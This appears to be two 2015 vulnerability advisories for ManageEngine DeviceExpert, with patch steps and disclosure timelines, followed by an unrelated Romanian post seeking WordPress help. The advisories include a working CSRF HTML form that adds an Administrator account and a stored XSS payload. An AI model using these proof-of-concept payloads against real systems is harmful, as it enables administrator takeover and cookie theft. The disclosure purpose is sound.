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=============================================================================== CSRF to add admin user Vulnerability In Manage Engine Device Expert =============================================================================== . contents:: Table Of Content Overview ======== * Title : CSRF to add admin user Vulnerability In Manage Engine Device Expert * Author: Kaustubh G. Padwad * Plugin Homepage: http://www.manageengine.com/products/device-expert/ * Severity: HIGH * Version Affected: Version 5.9.9.0 Build: 5990 * Version Tested : Version 5.9.9.0 Build: 5990 * version patched: Separate Patch release for all version Description =========== About the Product ================= DeviceExpert is a web–based, multi vendor network change, configuration and compliance management (NCCCM) solution for switches, routers, firewalls and other network devices. Trusted by thousands of network administrators around the world, DeviceExpert helps automate and take total control of the entire life cycle of device configuration management. Vulnerable Parameter -------------------- Create user form About Vulnerability ------------------- This Cross-Site Request Forgery vulnerability enables an anonymous attacker to add an admin account into the application. This leads to compromising the whole domain as the application normally uses privileged domain account to perform administration tasks. Vulnerability Class =================== Cross Site Request Forgery (https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29) Cross Site Scripting (https://www.owasp.org/index.php/Top_10_2013-A3-Cross-Site_Scripting_(XSS) Steps to Reproduce: (POC) ========================= * Add follwing code to webserver and send that malicious link to application Admin. * The admin should be loggedin when he clicks on the link. * Soical enginering might help here For Example :- Device password has been changed click here to reset ####################CSRF COde####################### <html> <body> <form action="https://Server-IP:6060/STATE_ID/1423516534014/CreateUser.ve" method="POST"> <input type="hidden" name="loginName" value="hackerkaustubh" /> <input type="hidden" name="password" value="kaustubh" /> <input type="hidden" name="confirmpass" value="kaustubh" /> <input type="hidden" name="emailaddress" value="kingkaustubh@me.com" /> <input type="hidden" name="SEND_EMAIL" value="true" /> <input type="hidden" name="roles" value="Administrator" /> <input type="hidden" name="ComponentSelection" value="SpecificDevice" /> <input type="hidden" name="searchfield" value="--Search Devices--" /> <input type="hidden" name="DEVICEGROUPSELECTION" value="1" /> <input type="hidden" name="DeviceGroupDescription"/> value="This device group contains all the devices present in the inventory" /> <input type="hidden" name="QUERYID" value="-1" /> <input type="submit" value="Submit request" /> </form> </body> </html> Mitigation ========== Receved from manage engine team https://uploads.zohocorp.com/Internal_Useruploads/dnd/NetFlow_Analyzer/o_19ga51p951gblpbs1rkrm211vim1/vulnerabilities_Fix.zip Open DeviceExper.zip 1. Stop the Device Expert service. 2. Please replace AdvNCM.jar under DeviceExpert_Home/lib with the one under DeviceExpert.zip/AdvNCM.jar 3. Start the Device Expert service Change Log ========== Disclosure ========== 11-February-2015 Reported to Developer 13-February-2015 Acknodlagement from Developer 13-March-2015 Fixed by developer 16-March-2015 Requested a cve ID 21-March-2015 Public Disclosed credits ======= * Kaustubh Padwad * Information Security Researcher * kingkaustubh@me.com * https://twitter.com/s3curityb3ast * http://breakthesec.com * https://www.linkedin.com/in/kaustubhpadwad Source
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=============================================================================== Stored XSS Vulnerability In Manage Engine Device Expert =============================================================================== . contents:: Table Of Content Overview ======== * Title :Stored XSS Vulnerability In Manage Engine Device Expert * Author: Kaustubh G. Padwad * Plugin Homepage: http://www.manageengine.com/products/device-expert/ * Severity: HIGH * Version Affected: Version 5.9.9.0 Build: 5990 * Version Tested : Version 5.9.9.0 Build: 5990 * version patched: Separate Patch release for all version Description =========== About the Product ================= DeviceExpert is a web–based, multi vendor network change, configuration and compliance management (NCCCM) solution for switches, routers, firewalls and other network devices. Trusted by thousands of network administrators around the world, DeviceExpert helps automate and take total control of the entire life cycle of device configuration management. Vulnerable Parameter -------------------- * Login Name About Vulnerability ------------------- This Product is vulnerable to a combination of CSRF/XSS attack meaning that if an admin user can be tricked to visit a crafted URL created by attacker (via spear phishing/social engineering), the attacker can execute arbitrary code into Admin manage console. Once exploited, admin’s browser can be made to do almost anything the admin user could typically do by hijacking admin's cookies etc. Vulnerability Class =================== Cross Site Request Forgery (https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29) Cross Site Scripting (https://www.owasp.org/index.php/Top_10_2013-A3-Cross-Site_Scripting_(XSS) Steps to Reproduce: (POC) ========================= 1. After Setting up Manage engine Login to manage engine Device expert 2. Navigate to admin-->User Management-->New User 3.Put this Payload into Login Name 4.Fill the other details #####payload To Use####################### <BODY ONLOAD=alert('Hacked_ByS3curity_B3ast')> ########################################## 5. Click Save to See Stored XSS in action 6. Reload Pages to see it many times you want 7. Same can be done By CSRF also . image:: stoerdXSS.jpeg :height: 1000 px :width: 1000 px :scale: 100 % :alt: XSS POC :align: center Mitigation ========== Receved from manage engine team https://uploads.zohocorp.com/Internal_Useruploads/dnd/NetFlow_Analyzer/o_19ga51p951gblpbs1rkrm211vim1/vulnerabilities_Fix.zip Open DeviceExper.zip 1. Stop the Device Expert service. 2. Please replace AdvNCM.jar under DeviceExpert_Home/lib with the one under DeviceExpert.zip/AdvNCM.jar 3. Start the Device Expert service Change Log ========== Disclosure ========== 11-February-2015 Reported to Developer 13-February-2015 Acknodlagement from Developer 13-March-2015 Fixed by developer 16-March-2015 Requested a cve ID 21-March-2015 Public Disclosed credits ======= * Kaustubh Padwad * Information Security Researcher * kingkaustubh@me.com * https://twitter.com/s3curityb3ast * http://breakthesec.com * https://www.linkedin.com/in/kaustubhpadwad Source
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Asa cum spune si titlul. Caut un expert in wordpress. Am un site unde trebuie sa asez niste div uri, cateva modificari de tip (postari recente) s.a plus un import in baza de date dintr un fixier txt. Estimez o munca de 1-2 zile maxim. Doresc o colaborare dinamica eventual prin microfon/skype. Platesc in avans, iar pretul il stabilim de comun acord.
